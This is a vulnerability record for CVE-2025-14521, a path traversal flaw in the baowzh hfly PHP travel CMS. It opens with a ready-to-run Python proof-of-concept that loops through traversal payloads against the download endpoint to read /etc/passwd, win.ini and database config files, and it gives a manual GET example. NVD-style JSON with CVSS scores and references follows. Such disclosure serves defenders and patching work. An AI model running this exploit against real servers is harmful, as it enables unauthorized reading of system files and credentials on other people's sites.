CVE-2025-14521

import requests # CVE-2025-14521 Path Traversal PoC # Affected: baowzh hfly PHP travel website CMS # Vulnerability: Arbitrary file read via path traversal in /admin/index.php/datafile/download target_url = "http://target.com/admin/index.php/datafile/download" # List of sensitive files to attempt to read files_to_read = [ "../../../../etc/passwd", "../../../../windows/win.ini", "../../../../../../etc/passwd", "../../../config/database.php", "../../admin/config.php", "../../../../etc/hosts" ] def exploit_path_traversal(url, filename): """Send request with path traversal payload""" params = { "filename": filename } try: response = requests.get(url, params=params, timeout=10) if response.status_code == 200: print(f"[*] Success reading: {filename}") print(f"[+] Content:\n{response.text[:500]}") return True else: print(f"[-] Failed to read: {filename} (Status: {response.status_code})") return False except Exception as e: print(f"[!] Error: {e}") return False # Execute PoC print("CVE-2025-14521 PoC - baowzh hfly Path Traversal") print("=" * 50) for file_path in files_to_read: exploit_path_traversal(target_url, file_path) # Example manual exploit: # GET /admin/index.php/datafile/download?filename=../../../../etc/passwd # This will read the /etc/passwd file from the server

{"cve": {"id": "CVE-2025-14521", "sourceIdentifier": "[email protected]", "published": "2025-12-11T16:16:23.333", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in baowzh hfly up to 638ff9abe9078bc977c132b37acbe1900b63491c. The affected element is an unknown function of the file /admin/index.php/datafile/download. Such manipulation of the argument filename leads to path traversal. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:N/A:N", "baseScore": 4.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:baowzh:hfly:*:*:*:*:*:*:*:*", "versionEndIncluding": "2016-05-11", "matchCriteriaId": "C330BB33-E505-44E2-B1F8-4BB990C02122"}]}]}], "references": [{"url": "https://github.com/Xor-Gerke/webray.com.cn/blob/main/cve/PHP-based%20travel%20website-CMS/PHP-based%20travel%20website-CMS%20download%20filename%20Arbitrary%20file%20reading.md", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://vuldb.com/?ctiid.335859", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.335859", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.702949", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}